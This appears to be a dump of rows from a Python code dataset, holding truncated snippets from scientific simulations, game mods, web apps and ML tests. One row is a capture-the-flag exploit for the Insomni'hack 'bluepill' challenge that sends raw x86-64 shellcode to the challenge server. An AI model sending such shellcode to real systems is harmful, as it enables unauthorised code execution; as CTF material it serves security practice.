id stringlengths 1 8 | text stringlengths 6 1.05M | dataset_id stringclasses 1
value |
|---|---|---|
5146746 | <reponame>timsliu/platypus
# pic_1d.py
# 1D particle in cell plasma simulation
#
import numpy as np
import copy
from scipy import fft, ifft
import matplotlib.pyplot as plt
MIN_J = 1e-8 # minimum value for index J when building k array
class PIC_1D:
def __init__(self, params):
# TODO verify it's a vali... | StarcoderdataPython |
8189760 | <reponame>edoipi/TemplePlus
from templeplus.pymod import PythonModifier
from toee import *
import tpdp
import char_class_utils
###################################################
def GetConditionName():
return "Warmage"
print "Registering " + GetConditionName()
classEnum = stat_level_warmage
classSpecModule = __i... | StarcoderdataPython |
3599176 | <filename>Curso/ExMundo2/Ex040ElIf5Media.py
n1 = float(input('Digite a primeira nota: '))
n2 = float(input('Digite a segunda nota: '))
m = (n1 + n2) / 2
if m >= 7:
print('Sua média é {:.1f} e portanto você está aprovado'.format(m))
elif m < 5:
print('Sua média é {:.1f} e portanto você está reprovado'.format(m))... | StarcoderdataPython |
9613623 | <gh_stars>10-100
#!/usr/bin/env python
from __future__ import print_function
import os
import sys
import socket
import posix
import shutil
from subprocess import (Popen, PIPE)
IRODS_SSL_DIR = '/etc/irods/ssl'
def create_ssl_dir():
save_cwd = os.getcwd()
silent_run = { 'shell': True, 'stderr' : PIPE, 'stdout... | StarcoderdataPython |
88633 | <gh_stars>0
#!/usr/bin/env python2
import os
from setuptools import setup, Extension
from setuptools.command.build_ext import build_ext as build_ext_orig
from distutils.file_util import copy_file
class CMakeExtension(Extension):
def __init__(self, name):
Extension.__init__(
self,
... | StarcoderdataPython |
5020520 | <filename>pardet/models/par_detectors/strongbaseline.py
from collections import OrderedDict
import torch
import torch.nn as nn
from ..builder import CLASSIFIERS, PARNETS, build_bockbone, build_classifier, build_loss
@CLASSIFIERS.register_module()
class BaseClassifier(nn.Module):
def __init__(self, nattr):
... | StarcoderdataPython |
4891674 | <filename>protonfixes/debug.py
""" Prints debug info if the environment variable DEBUG is 1
"""
import os
import sys
import shutil
# pylint: disable=E0611
from .protonmain_compat import protonmain
from .protonversion import PROTON_VERSION
from .logger import log
os.environ['DEBUG'] = '1'
def show_debug_info():
"... | StarcoderdataPython |
5126378 | import base64
import json
import os
import webbrowser
from datetime import datetime, timezone
from typing import Optional
from PyQt5 import QtWidgets
import yadisk
from cryptography.fernet import Fernet, InvalidToken
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import ha... | StarcoderdataPython |
8062324 | from flask import Blueprint, request
from rapidpro_webhooks.apps.core.decorators import limit
from rapidpro_webhooks.apps.core.exceptions import VoucherException
from rapidpro_webhooks.apps.core.helpers import create_response
from rapidpro_webhooks.apps.vouchers.models import Voucher
voucher_bp = Blueprint('voucher',... | StarcoderdataPython |
1806487 | <filename>apps/shop/urls.py
from django.conf.urls import url, include
from .views import shop,detail
urlpatterns = [
url(r'^$', shop, name='index'),
url(r'^detail$', detail, name='detail'),
url(r'^cart/', include('apps.shop.cart.urls', namespace='cart')), # 购物车模块
]
| StarcoderdataPython |
6556727 | <gh_stars>0
from django.http import HttpResponse
def dashboard(request):
return HttpResponse("Hello, world. You're at the dashboard index.") | StarcoderdataPython |
115503 | <reponame>rajalokan/cloudify-ansible-plugin
########
# Copyright (c) 2014 GigaSpaces Technologies Ltd. All rights reserved
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://ww... | StarcoderdataPython |
9616405 | # coding=utf-8
# generated at 2018-10-12 21:38:39
import prometheus
import socket
import time
import gc
import prometheus.crypto
import prometheus.misc
import prometheus.psocket
import prometheus.logging as logging
gc.collect()
# region Test01UdpClient
class Test01UdpClientIntegratedLed(prometheus.Prometheus):
d... | StarcoderdataPython |
282981 | <reponame>donnyyy777/pyteomics
from pyteomics import mgf, pepxml, mass
import os
from urllib.request import urlopen, Request
import pylab
# get the files
for fname in ('mgf', 'pep.xml'):
if not os.path.isfile('example.' + fname):
headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 ... | StarcoderdataPython |
6487471 | <reponame>rawat9/leetcode
class Solution:
def distance(self, point):
return point[0] ** 2 + point[1] ** 2
def kClosest(self, points: list[list[int]], k: int) -> list[list[int]]:
points.sort(key=self.distance)
return points[:k]
| StarcoderdataPython |
4818824 | from vic import lib as vic_lib
def test_make_veg_var():
assert vic_lib.make_veg_var(4) is not None
def test_make_veg_var_1snowband():
vic_lib.options.SNOW_BAND = 1
assert vic_lib.make_veg_var(4) is not None
def test_make_veg_var_5snowband():
vic_lib.options.SNOW_BAND = 5
assert vic_lib.make_ve... | StarcoderdataPython |
6577774 | <filename>funciones_gamma.py<gh_stars>0
from matplotlib import pyplot as plt
import numpy as np
def g_gamma(x,z):
"""
Calcula la funcion que se integra de 0 a infty al calcular la funcion Gamma(z)
Params:
:param z: el valor para el que se quiere evaluar Gamma(z)
:param x: el valor sobr... | StarcoderdataPython |
11333946 | from gym_adserver.envs.adserver import Ad
from gym_adserver.envs.adserver import AdServerEnv | StarcoderdataPython |
4859813 | <gh_stars>0
# Copyright 2014 Google Inc. All Rights Reserved.
"""Base classes for abstracting away common logic."""
import abc
import collections
import copy
import cStringIO
import itertools
import json
import sys
import textwrap
import protorpc.messages
import yaml
from googlecloudapis.apitools.base.py import enco... | StarcoderdataPython |
4993239 | <gh_stars>0
from itertools import zip_longest
lista_a = [1,2,3,4,5,6,7]
lista_b = [1,2,3,4]
lista_soma = [n + n2 for n, n2 in zip_longest(lista_a,lista_b, fillvalue=0) ]
print(lista_soma) | StarcoderdataPython |
9763974 | from ltk.actions.action import *
class CloneAction(Action):
def __init__(self, path):
Action.__init__(self, path)
def clone_folders(self, dest_path, folders_map, locale, copy_root=False):
""" Copies subfolders of added folders to a particular destination folder (for a particular locale).
... | StarcoderdataPython |
6640881 | <filename>documenthandler/dparser.py
#!/usr/bin/env python3
import hashlib
import logging
import os
import re
from documenthandler.dreader import DocumentReader
from utilities.consts import VALID_PUNCTUATION
from utilities.utils import remove_stop_words, remove_punct, lower_case_values
class DocumentParser:
def ... | StarcoderdataPython |
8060699 | import os
import stat
import time
import json
import sys
import re
import hashlib
def calculateDirectorySizes( directory ):
size = 0
for name in directory:
fileId = directory[name]
if fileId['isDir']:
fileId['size'] = calculateDirectorySizes( fileId['children'] )
size += fil... | StarcoderdataPython |
267297 | <reponame>rashidulhasanhridoy/URI-Online-Judge-Problem-Solve-with-Python-3
names = []
for i in range(10):
X =str(input(''))
names.append(X)
print(names[2])
print(names[6])
print(names[8]) | StarcoderdataPython |
84731 | """Utilities to load forcefields based on forcefield names."""
import os
import foyer
def get_ff_path(
name: str = None,
):
"""Based on a forcefield name, it returns a path to that forcefield
Parameters
----------
name : str, default=None, optional
Forcefield file name to load.
"""
... | StarcoderdataPython |
6524562 | <gh_stars>10-100
#!/usr/bin/env python
from nose.tools import assert_equal, assert_true
import numpy as np
import pandas as p
import os
from Bio import SeqIO
from concoct.input import _normalize_per_sample, _normalize_per_contig, generate_feature_mapping, load_composition, _calculate_composition
class TestInput(object... | StarcoderdataPython |
11347526 | """
Creates a shaded relief ASCII grid
from an ASCII DEM. Also outputs
intermediate grids for slope and
aspect.
"""
# http://git.io/vYwUX
from linecache import getline
import numpy as np
# File name of ASCII digital elevation model
source = "dem.asc"
# File name of the slope grid
slopegrid = "slope.asc"
# File name... | StarcoderdataPython |
11387797 | <filename>opensanctions/crawlers/everypolitician.py<gh_stars>10-100
from datetime import datetime
from opensanctions import helpers as h
def crawl(context):
res = context.http.get(context.dataset.data.url)
for country in res.json():
for legislature in country.get("legislatures", []):
code... | StarcoderdataPython |
5033206 | <filename>tests/model/test_pdb.py
from __future__ import absolute_import, division, print_function
import ispyb.model.pdb
import mock
import pytest
def test_pdb_values_are_immutable():
P = ispyb.model.pdb.PDB()
with pytest.raises(AttributeError):
P.name = "test"
with pytest.raises(AttributeError)... | StarcoderdataPython |
9749046 | CONNECTIONADDRESS = "tcp://127.0.0.1:9000"
AGENT_INFO_PATH = './agent_cm.log'
UUIDPATH = './uuid.txt' | StarcoderdataPython |
249033 | from aiflearn.algorithms.inprocessing.adversarial_debiasing import AdversarialDebiasing
from aiflearn.algorithms.inprocessing.art_classifier import ARTClassifier
from aiflearn.algorithms.inprocessing.prejudice_remover import PrejudiceRemover
from aiflearn.algorithms.inprocessing.meta_fair_classifier import MetaFairClas... | StarcoderdataPython |
5173065 | # -*- coding:utf-8 -*-
from src.Client.Conf.config import *
from src.Client.SystemTools.ConfFileRead import configFileRead
class ShowMission():
"""
搜索栏显示任务GUI部分。
"""
def __init__(self):
self.windowTitleVar = tkinter.StringVar()
self.missionIdVar = tkinter.StringVar()
self.miss... | StarcoderdataPython |
4864469 | import re
def solution(s):
return ' '.join(re.findall('[a-zA-Z][^A-Z]*', s))
print(solution('camelCasing')) | StarcoderdataPython |
5095397 | # -*- coding: utf-8 -*-
# Copyright (C) 2014 Yahoo! Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2... | StarcoderdataPython |
4984801 | ################################################################################
# Copyright 2018 <NAME> <<EMAIL>>
#
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of this software and associated documentation files (the "Software"),
# to deal in the Software without restriction, inclu... | StarcoderdataPython |
5026486 | <reponame>SunYanCN/PaddleNLP
# Copyright (c) 2022 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
#... | StarcoderdataPython |
5167647 | # Licensed under a 3-clause BSD style license - see LICENSE.rst
"""Utility functions to work with ROOT and rootpy.
* ROOT: https://root.cern.ch
* rootpy: http://www.rootpy.org/
"""
from .convert import *
| StarcoderdataPython |
1856535 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2021/2/3 2:30 下午
# @File : setup.py.py
# @Author: johnson
# @Contact : github: johnson7788
# @Desc :
import setuptools
with open("README.md", "r") as fh:
long_description = fh.read()
setuptools.setup(
name="google_trans_new",
version="1.1.9",
... | StarcoderdataPython |
5102101 | # -*- coding: utf-8 -*-
# @Auther: Verf
# @Emal: <EMAIL>
import nvimclient
if __name__ == '__main__':
nvimclient.cli()
| StarcoderdataPython |
3261823 | import os
def get_file_dirs_with_suffix(directory_of_interest, suffix):
"""
Gets all of the directories that have a file named with the given suffix
:param directory_of_interest: string path of the directory to search
:param suffix: string end of file name for which to look
:return: all of the dir... | StarcoderdataPython |
8075749 | import os
from random import sample
import matplotlib.pyplot as plt
import requests
from imageio import imread
# Global model settings
INPUT_DATA_DIR = 'Data/Images/'
INPUT_SHAPE = (224, 224, 3)
# All available training images
files = [file for file in os.listdir(INPUT_DATA_DIR) if file.endswith(".jpg")]
file_paths ... | StarcoderdataPython |
8183024 | import os
import shutil
def cp_same_dif_files(source1, source2, destination_same, destination_dif,file_types):
# This function compares files in source1 and source2 and copies duplicate (same) files
#so destination_same directory has files that are the same in source1 and source2
# while dest... | StarcoderdataPython |
8094101 | <filename>flask_app/flask_server/forms.py<gh_stars>1-10
from flask_wtf import FlaskForm
from flask_wtf.file import FileField, FileAllowed
from flask_login import current_user
from wtforms import StringField, PasswordField, SubmitField, BooleanField, TextAreaField, SelectField, IntegerField
from wtforms.validators impor... | StarcoderdataPython |
69348 | <reponame>seryafarma/gaphor
from gaphor import UML
from gaphor.core.eventmanager import EventManager
from gaphor.core.modeling import ElementFactory
from gaphor.storage.verify import orphan_references
def test_verifier():
factory = ElementFactory(EventManager())
c = factory.create(UML.Class)
p = factory.c... | StarcoderdataPython |
9660467 | # ==================================================================================
# Baseline Model
# date : 2019/05/05
# reference : https://www.kaggle.com/mhiro2/simple-2d-cnn-classifier-with-pytorch
# comment : [change point] epoch {80 > 400}
# ======================================================================... | StarcoderdataPython |
4850886 | from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs
AUTHORIZATION_CODE = None
class TerminateHTTPServer(Exception):
"""
Custom exception class that can stop the event loop
so that we can gracefully terminate the http server
"""
# I've spent a go... | StarcoderdataPython |
193112 | <reponame>takatoy/ParlAI
# Copyright (c) Facebook, Inc. and its affiliates.
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
from parlai.core.params import ParlaiParser
from parlai.mturk.core.mturk_manager import MTurkManager
from parlai.tasks.i... | StarcoderdataPython |
9683605 | <filename>videoframe.py
import cv2
def saveFramestoImages(videopath,outdirName):
vidcap = cv2.VideoCapture(videopath)
success,image = vidcap.read()
count = 0
success = True
while success:
cv2.imwrite("{}/frame{}.jpg".format(outdirName, count), image) # save frame as JPEG file
success,image = vidc... | StarcoderdataPython |
1640975 | <filename>gpfit/tests/test_evaluate.py<gh_stars>1-10
"Test evaluate methods"
import unittest
from numpy import arange, newaxis
from gpfit.fit import MaxAffine, SoftmaxAffine, ImplicitSoftmaxAffine
class TestMaxAffine(unittest.TestCase):
"Test max_affine"
x = arange(0.0, 16.0)[:, newaxis]
ba = arange(1.0,... | StarcoderdataPython |
6546650 | # -*- coding: utf-8 -*-
###############################################################################
#
# WriteLocationData
# Allows you to easily update the location data of your feed.
#
# Python versions 2.6, 2.7, 3.x
#
# Copyright 2014, Temboo Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"... | StarcoderdataPython |
9786894 | # Copyright 2014 Eucalyptus Systems, Inc.
#
# Redistribution and use of this software in source and binary forms,
# with or without modification, are permitted provided that the following
# conditions are met:
#
# Redistributions of source code must retain the above copyright notice,
# this list of conditions and t... | StarcoderdataPython |
68254 | <filename>test/gui/mpl_figuremaker.py
"""A set of simple tests of the MPL FigureMaker classes."""
import numpy as np
from plottr import QtWidgets
from plottr.plot.base import ComplexRepresentation
from plottr.plot.mpl.autoplot import FigureMaker, PlotType
from plottr.plot.mpl.widgets import figureDialog
def test_mu... | StarcoderdataPython |
189624 | from collections import namedtuple
from itertools import chain
class RowNames:
OUTER="outer"
INNER="inner"
class PinTypes:
GPIO="gpio"
POWER_5V="5V+"
POWER_3V3="3V3+"
GND="GND"
I2C="i2c"
EEPROM="EEPROM"
Pin = namedtuple("Pin", "coords, id, pin_type, special_func")
PinCoords = namedtu... | StarcoderdataPython |
165995 | <gh_stars>0
from flask_restplus import Namespace, Resource, fields
from restApi.models.users import User
from restApi.helpers.user_helper import UserParser
from restApi.helpers.login_helper import LoginParser
import jwt
from instance.config import Config
from werkzeug.security import check_password_hash, generate_passw... | StarcoderdataPython |
3332479 | <gh_stars>1-10
# THIS FILE HAS BEEN AUTOGENERATED
from __future__ import annotations
import typing as t
from abc import ABC, abstractmethod
import attr
from pylox.protocols.visitor import VisitorProtocol
from pylox.tokens import LITERAL_T, Token
class Expr(ABC): # pragma: no cover
pass
@abstractmethod
... | StarcoderdataPython |
4974216 | # Author : <NAME> (<EMAIL>)
# Modified From API
# https://github.com/wagonhelm/TF_ObjectDetection_API/blob/master/ChessObjectDetection.ipynb
import skimage
import numpy as np
from skimage import io, transform
import os
import shutil
import glob
import pandas as pd
import xml.etree.ElementTree as ET
import tensorflow a... | StarcoderdataPython |
8189198 | <gh_stars>1-10
# Copyright (c) 2014, Palo Alto Networks
#
# Permission to use, copy, modify, and/or distribute this software for any
# purpose with or without fee is hereby granted, provided that the above
# copyright notice and this permission notice appear in all copies.
#
# THE SOFTWARE IS PROVIDED "AS IS" AND THE A... | StarcoderdataPython |
4818402 | from .viewport_helpers import compute_view # noqa
from .type_checking import is_pandas_df # noqa
from .color_scales import assign_random_colors # noqa
| StarcoderdataPython |
1935182 | <gh_stars>1-10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import base64
import hashlib
import hmac
import json
import logging
import redis
import sys
from datetime import datetime
from flask import Flask, abort, request
from config import TWITTER_CONSUMER_SECRET
from utils import Queue
logging.basicConfig(
le... | StarcoderdataPython |
3281612 | <gh_stars>10-100
from ..config import *
from ply.lex import lex as plex
# lex
tokens = (
'bofx',
'eofx',
'newline',
'tab',
'interpolant',
'lce',
'rce',
'string',
)
def t_newline(t):
r'\n'
return t
def t_tab(t):
r'\t'
return t
def t_interpolant(t):
r'\{(?P<fmt>[^\{:]*):(?P<arg>[^\}]+)\}'
t.value = Inte... | StarcoderdataPython |
6465510 | <filename>tensorflow_compression/python/ops/math_ops_test.py
# Copyright 2018 Google LLC. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/li... | StarcoderdataPython |
1903458 | # coding: utf-8
import os
import numpy as np
from database import *
from read_write_model import *
import cv2
import pcl
def get_default_camera_model(img_path_name, camera_id):
img = cv2.imread(img_path_name)
if img is None:
print('failed to load image:', img_path_name)
return None
# 行, 列, ... | StarcoderdataPython |
3348015 | import pytest
import skein
import os
import sys
import time
import subprocess
@pytest.fixture(scope="session")
def conda_env():
envpath = "dask-yarn-py%d%d.tar.gz" % sys.version_info[:2]
if not os.path.exists(envpath):
conda_pack = pytest.importorskip("conda_pack")
conda_pack.pack(output=envpa... | StarcoderdataPython |
3240691 |
from gaia_project.communication_layer import LocalCommunicationLayer
from gaia_project.engine import Engine
if __name__ == '__main__':
cl = LocalCommunicationLayer()
en = Engine(cl)
cl.board.highlight_hex((6,6))
cl.update_gfx()
en.run()
| StarcoderdataPython |
279 | import os
basedir = os.path.abspath(os.path.dirname(__file__))
class Config:
SECRET_KEY = os.getenv('SECRET_KEY', '')
DEBUG = False
class DevelopmentConfig(Config):
DEBUG = True
SQLALCHEMY_DATABASE_URI = 'sqlite:///' + os.path.join(basedir, 'flask_main.db')
SQLALCHEMY_TRACK_MODIFICATIONS = False... | StarcoderdataPython |
6443762 | <gh_stars>0
import os
# Server Information
username = '<serverusername>'
password = '<<PASSWORD>>'
ipaddr = '<ipadress>'
port = 22
# Website Information<
website = 'amt-tutorial'
htdocsUrl = 'https://www.yoururl.com/' + website
htdocsPath = '/var/www/html/' + website
# BEGIN NEW CODE
# AMT Configuration
dollarPerHou... | StarcoderdataPython |
9638053 | <filename>view/gererActions.py<gh_stars>0
# -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'gererActions.ui'
#
# Created by: PyQt5 UI code generator 5.10.1
#
# WARNING! All changes made in this file will be lost!
from PyQt5 import QtCore, QtGui, QtWidgets
class Ui_DialogGererActions(objec... | StarcoderdataPython |
11218916 | <filename>rest_rpc/training/core/hypertuners/abstract.py
#!/usr/bin/env python
####################
# Required Modules #
####################
# Generic/Built-in
import abc
import logging
from typing import Dict
# Libs
# Custom
##################
# Configurations #
##################
###... | StarcoderdataPython |
5177184 | ### Title: Format BibTex file
### Author: <NAME>
### Created: 2019-10-29
### Modified: 2019-11-04
### USAGE:
### python formatBibFile.py IN_FILE OUT_FILE
### ARGS:
### IN_FILE = Absolute or relative path (including file name and extension)
### to the file to be formatted
### OUT_FILE = Absol... | StarcoderdataPython |
116000 | <filename>tasks_sprints_12/d_caring_mother.py
# <NAME>
# ID успешной посылки 65663041
class Node:
def __init__(self, value, next_item=None):
self.value = value
self.next_item = next_item
def solution(node, elem):
count = 0
while node.value != elem:
if node.value != elem and node... | StarcoderdataPython |
3497701 | <filename>insomni'hack-2015/shellcoding/bluepill/exploit.py<gh_stars>1-10
import socket
s=socket.create_connection(('bluepill.insomni.hack', 4444))
print s.recv(4096)
sh="\xeb\x3f\x5f\x80\x77\x1c\x42\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x4... | StarcoderdataPython |
1751515 | import gzip
import json
import base64
import logging
from datetime import datetime
import re
from typing import Any
import boto3
# Set up logging
logger = logging.getLogger(__name__)
logger.setLevel(logging.DEBUG)
ec2_resource = boto3.resource('ec2', region_name='us-west-2')
table = boto3.resource('dynamodb', region_... | StarcoderdataPython |
11371029 | # Generated by Django 3.1.3 on 2021-08-20 17:02
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('pic', '0002_auto_20210820_1020'),
]
operations = [
migrations.AddField(
model_name='model_image',
name='accuracy',
... | StarcoderdataPython |
11352620 | <reponame>bbueno5000/path_planning_demo_live<gh_stars>0
"""
We're gonna take a 10 x 10 grid of squares.
Obstacles are black squares.
Objects defined by shape, size, color.
Each square gets an x, y coordinate.
Return list of occupied grids using computer vision.
Find minimimum path between starting object and matching o... | StarcoderdataPython |
1757709 | <reponame>heatherleaf/sparv-pipeline
from sparv import Config, SourceStructureParser, wizard
__config__ = [
Config("export.default", description="List of exporters to use by default"),
Config("export.annotations", description="List of automatic annotations to include in export"),
Config("export.source_anno... | StarcoderdataPython |
5153353 | #!/usr/bin/env python
# Copyright 2014 The LUCI Authors. All rights reserved.
# Use of this source code is governed under the Apache License, Version 2.0
# that can be found in the LICENSE file.
import datetime
import hashlib
import logging
import sys
import unittest
import test_env
test_env.setup_test_env()
from go... | StarcoderdataPython |
5113341 | <reponame>vlievin/ovis
import os
import torch
class Session():
"""a small class to ease checkpointing and restoring"""
best_elbo = (-1e20, 0, 0)
global_step = 0
epoch = 0
filename = "session.tar"
def __init__(self, run_id, logdir, model, estimator, optimizers):
self.run_id = run_id
... | StarcoderdataPython |
6614256 | <gh_stars>0
# Licensed under Apache License Version 2.0 - see LICENSE
import pytest
from iteration_utilities import all_distinct
import helper_funcs as _hf
from helper_cls import T
def test_alldistinct_empty1():
assert all_distinct([])
def test_alldistinct_normal1():
assert all_distinct([T(1), T(2), T(3)... | StarcoderdataPython |
1662194 | <gh_stars>1-10
from flask import Blueprint, flash, g, request, jsonify
from flaskr.db import get_db
from werkzeug.security import check_password_hash, generate_password_hash
from sqlite3 import Error as SQLiteError
from jwt import DecodeError, encode as jwt_encode, decode as jwt_decode, ExpiredSignatureError
from funct... | StarcoderdataPython |
1697225 | <gh_stars>100-1000
#!/usr/bin/env python3
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License.
import sys
import argparse
from _test_commons import run_subprocess
import logging
logging.basicConfig(format="%(asctime)s %(name)s [%(levelname)s] - %(message)s", level=logging.DE... | StarcoderdataPython |
9695416 | from django.shortcuts import render
from django.views.generic import ListView, DetailView
from django.core.paginator import Paginator, PageNotAnInteger, EmptyPage
from .models import BlogPost
class BlogListView(ListView):
model = BlogPost
template_name = 'blogs.html'
context_object_name = 'blogs'
pagi... | StarcoderdataPython |
1712943 | <filename>scripts/test.py
# MSRA Internal Graphics
#
"""
Examples:
"""
import os
import h5py
import numpy as np
import tensorflow as tf
import models
from scripts import dataset
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'
def eval_phase_network(net, reader):
data, _ = net.cook_raw_inputs(reader)
instance_ne... | StarcoderdataPython |
8161825 | <filename>Workspace.py
import os
import pickle
CodeDir="/home/mrware/Dropbox/Code/NYTimes API"
WorkspaceObjects=[]
def save_obj(obj, name ):
folder=CodeDir+'/obj/'
if not os.path.isdir(folder):
os.makedirs(folder)
with open(folder + name + '.pkl', 'wb') as f:
pickle.dump(obj, f, pickle.HIG... | StarcoderdataPython |
8043247 |
from numba import jit,vectorize,njit
import numpy as np
import functools as fc
import os
import time
from tqdm.notebook import tqdm_notebook as tqdm
# from tqdm import tqdm
# tqdm = lambda x : x
# def co_variance(X,bias=0):
# nx,i = X.shape ## X is input data matrix
# # ans = np.zeros((i,i))#,dtype=float)... | StarcoderdataPython |
1610509 | from __future__ import absolute_import, unicode_literals
import logging
import logging.config
import logging.handlers
import platform
LOG_LEVELS = {
-1: dict(root=logging.ERROR, mopidy=logging.WARNING),
0: dict(root=logging.ERROR, mopidy=logging.INFO),
1: dict(root=logging.WARNING, mopidy=logging.DEBUG),... | StarcoderdataPython |
8074640 | #===========================================================================================================================
# aims : This script takes the frame file in input and gives it back adding the context to each frame
#
# input : input_filepath : folder containing subjects' cepstra. It takes the s... | StarcoderdataPython |
1766157 | #When users post an update on social media,such as a URL, image, status update etc., other users in their network are able to view this new post on their news feed. Users can also see exactly when the post was published, i.e, how many hours, minutes or seconds ago.
#Since sometimes posts are published and viewed in di... | StarcoderdataPython |
1632246 | from rest_framework import serializers
from .fields import UidRelatedField
from .models import Category, Recipe
from .utils import strip_query_params, make_s3_url_https
# Handy reference for serializers: http://cdrf.co/
class CategorySerializer(serializers.ModelSerializer):
class Meta:
model = Category... | StarcoderdataPython |
177226 | """test generate_bes_from_template"""
# pylint: disable=import-error,wildcard-import,undefined-variable,wrong-import-position,unused-wildcard-import,consider-using-f-string
import argparse
import os.path
import sys
# don't create bytecode for tests because it is cluttery in python2
sys.dont_write_bytecode = True
# c... | StarcoderdataPython |
5030092 | <reponame>Stoick01/bluebird
import unittest
import numpy as np
from bluebird.layers import *
from bluebird.nn import NeuralNet
from bluebird.activations import *
class TestMaxPool2D(unittest.TestCase):
def test_forward(self):
"""Test forward propagation for MaxPool2D"""
pool = MaxPool2D(kernel... | StarcoderdataPython |
3477243 | """Super useful module"""
def print_num(number):
print(number)
| StarcoderdataPython |
1646122 | #!/usr/bin/env python
import csv
import sys
import os, os.path
import numpy as np
from datetime import datetime as dt
from scipy import optimize
from scripts import signals as sig
from scripts import fft_estimator
from scripts import optimizing
from scripts import utility
from scripts import crlb
from scripts import... | StarcoderdataPython |
1852549 | # Copyright (c) 2017 <NAME>
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | StarcoderdataPython |
258583 | # coding=utf-8
if __name__ == "__main__":
print("developing...") | StarcoderdataPython |
1845 | <filename>egg/zoo/addition/data.py<gh_stars>1-10
# Copyright (c) Facebook, Inc. and its affiliates.
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
from typing import Iterable, Optional, Tuple
import torch
from torch.utils.data import DataLo... | StarcoderdataPython |
195493 | import librosa
import numpy as np
import os
from librosa.display import specshow
import matplotlib.pyplot as plt
import IPython.display as ipd
from alcokit import HOP_LENGTH, SR, N_FFT
import pickle
def save_pickle(obj, path):
with open(path, "wb") as f:
f.write(pickle.dumps(obj))
return None
def lo... | StarcoderdataPython |
9649589 | import tornado.web
import tornado.gen
import json
import logging
from mickey.basehandler import BaseHandler
from mickey.groups import GroupMgrMgr
import mickey.redis
class OpenAttachKeepAliveHandler(BaseHandler):
@tornado.web.asynchronous
@tornado.gen.coroutine
def post(self):
data = json.loads(s... | StarcoderdataPython |
319088 | <gh_stars>1-10
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from flask.ext.wtf import Form
from flask.ext.pagedown.fields import PageDownField
from wtforms import StringField, SubmitField
from wtforms.validators import Required
class PostForm(Form):
head = StringField('What is your head',validators=[Required()])... | StarcoderdataPython |
1931146 | <reponame>Peking-Epoch/pyfmt
"""Main module."""
import os
def fmt(folder: str):
os.system(f"isort --recursive --force-single-line-imports --apply {folder}")
os.system(
f"autoflake --remove-all-unused-imports --recursive --remove-unused-variables --in-place {folder} --exclude=__init__.py"
... | StarcoderdataPython |
3230179 | <gh_stars>0
from django.shortcuts import render
from django.http import HttpResponse
from rango.models import Category
def index(request):
category_list = Category.objects.order_by('-likes')[:5]
context_dict = {}
context_dict['boldmessage'] = 'Crunchy, creamy, cookie, candy, cupcake!'
context_dict['ca... | StarcoderdataPython |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.